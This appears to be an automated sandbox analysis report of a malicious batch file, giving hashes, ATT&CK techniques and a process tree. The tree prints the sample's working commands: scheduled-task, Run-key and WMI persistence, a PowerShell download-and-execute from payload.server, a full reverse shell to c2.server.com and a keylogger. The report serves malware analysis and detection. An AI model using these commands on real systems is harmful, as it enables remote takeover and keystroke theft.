6dd9c60fbcac4028add4978380274cf68e4e83cf81f91774037b7387969fe3d7

Analysis

max time kernel
149s
max time network
149s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/05/2026, 01:38

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General

Target
rat_build_172952_014453.bat
Size 4KB
Sample260529-b2qa9ahs3z
SHA256 6dd9c60fbcac4028add4978380274cf68e4e83cf81f91774037b7387969fe3d7
MD5 73009cbe6f2eeca7c52e182edef797a2
SHA1 d532ef7bcde138aff2c9a85965cd9dab4d59f879
SHA512 bf91b32d396bb7a39b13d8d29a93a8226d6bda4d6a6cb72074231cdd067f9836426fcfa39bbcea681280720f1071025995fdc4d93fc7c49fa3137088d1001188
SSDEEP 96:EIltWVfIMFmi9dtpDDF/5H5kO05ekgFIlIiFgZk8mvlo1U85:EzVf3m0tpDJh5jkNIiFgkHlf85
TLSH
T173A1E713E7977121C5F06769E9323C08535DCAFB1306C69DFA448CD84A4DE83926D5EB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_172952.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4472	powershell.exe
4048	powershell.exe
1524	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_172952 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_172952.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
5184	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3508	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2236	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1180	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1524	powershell.exe
1524	powershell.exe
4048	powershell.exe
4048	powershell.exe
4472	powershell.exe
4472	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2112	WMIC.exe
Token: SeSecurityPrivilege	2112	WMIC.exe
Token: SeTakeOwnershipPrivilege	2112	WMIC.exe
Token: SeLoadDriverPrivilege	2112	WMIC.exe
Token: SeSystemProfilePrivilege	2112	WMIC.exe
Token: SeSystemtimePrivilege	2112	WMIC.exe
Token: SeProfSingleProcessPrivilege	2112	WMIC.exe
Token: SeIncBasePriorityPrivilege	2112	WMIC.exe
Token: SeCreatePagefilePrivilege	2112	WMIC.exe
Token: SeBackupPrivilege	2112	WMIC.exe
Token: SeRestorePrivilege	2112	WMIC.exe
Token: SeShutdownPrivilege	2112	WMIC.exe
Token: SeDebugPrivilege	2112	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2112	WMIC.exe
Token: SeRemoteShutdownPrivilege	2112	WMIC.exe
Token: SeUndockPrivilege	2112	WMIC.exe
Token: SeManageVolumePrivilege	2112	WMIC.exe
Token: 33	2112	WMIC.exe
Token: 34	2112	WMIC.exe
Token: 35	2112	WMIC.exe
Token: 36	2112	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2112	WMIC.exe
Token: SeSecurityPrivilege	2112	WMIC.exe
Token: SeTakeOwnershipPrivilege	2112	WMIC.exe
Token: SeLoadDriverPrivilege	2112	WMIC.exe
Token: SeSystemProfilePrivilege	2112	WMIC.exe
Token: SeSystemtimePrivilege	2112	WMIC.exe
Token: SeProfSingleProcessPrivilege	2112	WMIC.exe
Token: SeIncBasePriorityPrivilege	2112	WMIC.exe
Token: SeCreatePagefilePrivilege	2112	WMIC.exe
Token: SeBackupPrivilege	2112	WMIC.exe
Token: SeRestorePrivilege	2112	WMIC.exe
Token: SeShutdownPrivilege	2112	WMIC.exe
Token: SeDebugPrivilege	2112	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2112	WMIC.exe
Token: SeRemoteShutdownPrivilege	2112	WMIC.exe
Token: SeUndockPrivilege	2112	WMIC.exe
Token: SeManageVolumePrivilege	2112	WMIC.exe
Token: 33	2112	WMIC.exe
Token: 34	2112	WMIC.exe
Token: 35	2112	WMIC.exe
Token: 36	2112	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4720	WMIC.exe
Token: SeSecurityPrivilege	4720	WMIC.exe
Token: SeTakeOwnershipPrivilege	4720	WMIC.exe
Token: SeLoadDriverPrivilege	4720	WMIC.exe
Token: SeSystemProfilePrivilege	4720	WMIC.exe
Token: SeSystemtimePrivilege	4720	WMIC.exe
Token: SeProfSingleProcessPrivilege	4720	WMIC.exe
Token: SeIncBasePriorityPrivilege	4720	WMIC.exe
Token: SeCreatePagefilePrivilege	4720	WMIC.exe
Token: SeBackupPrivilege	4720	WMIC.exe
Token: SeRestorePrivilege	4720	WMIC.exe
Token: SeShutdownPrivilege	4720	WMIC.exe
Token: SeDebugPrivilege	4720	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4720	WMIC.exe
Token: SeRemoteShutdownPrivilege	4720	WMIC.exe
Token: SeUndockPrivilege	4720	WMIC.exe
Token: SeManageVolumePrivilege	4720	WMIC.exe
Token: 33	4720	WMIC.exe
Token: 34	4720	WMIC.exe
Token: 35	4720	WMIC.exe
Token: 36	4720	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4720	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3456 wrote to memory of 1180	3456	cmd.exe	80
PID 3456 wrote to memory of 2236	3456	cmd.exe	81
PID 3456 wrote to memory of 2112	3456	cmd.exe	82
PID 3456 wrote to memory of 4720	3456	cmd.exe	83
PID 3456 wrote to memory of 5692	3456	cmd.exe	84
PID 3456 wrote to memory of 3508	3456	cmd.exe	85
PID 3456 wrote to memory of 5184	3456	cmd.exe	89
PID 3456 wrote to memory of 1524	3456	cmd.exe	90
PID 3456 wrote to memory of 4048	3456	cmd.exe	91
PID 3456 wrote to memory of 4472	3456	cmd.exe	92

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_172952_014453.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3456
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_172952" /tr "C:\Users\Admin\AppData\Local\Temp\_172952.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1180
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_172952" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_172952.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:2236
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_172952", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2112
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_172952", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_172952.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4720
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_172952.txt
  2⤵
  PID:5692
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:3508
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:5184
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_172952.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1524
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4048
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4472

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
MD5 5f4c933102a824f41e258078e34165a7
SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
TLSH
T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 fd949ff64bc93b6bcff447de4f7307dbd4cfb391faf81efe2a845f8349d9b10c
MD5 8a9ce637f47cb4acdbef782b0c075292
SHA1 61c4f0209f159fae19220a78c4428848c90d0e01
SHA512 6452ea5fff0d3139dd61de41cb37738a228bd13f7b039aa519acb8ab5f2084c10473415f0d3631a68829e81da3dc6018e37cff3618c48ae358c9a94fa91eb122
TLSH
T1B7117A33B79CC134C8D9117A108DAD01B2B5C3CB049EDE8B7A84C508E57F58ADB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 92d5a76ed593d1450f8f5309d806ef2ec37be8839f1e0e20763e75180345feac
MD5 a766b59cb8764029e0daa42ff2d21c3f
SHA1 9ca2e4735a93ab8ddf2d8e6928f1c570aa4ff80b
SHA512 e92fe19a450bc93cfcbaed70586d580470d239cd41997e0bdebdb45f1b6ba02604b4e839ab6ee40d5112ba683c647ecd10751183ab2f89226994e17680c52eae
TLSH
T1DA117A33B79CC135C8D9157A108DAD01B2B5C3CB049EDE8B7A84C509E57F58ADB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_2icoqzbs.irc.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2icoqzbs.irc.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1524-5-0x0000018724150000-0x0000018724172000-memory.dmp

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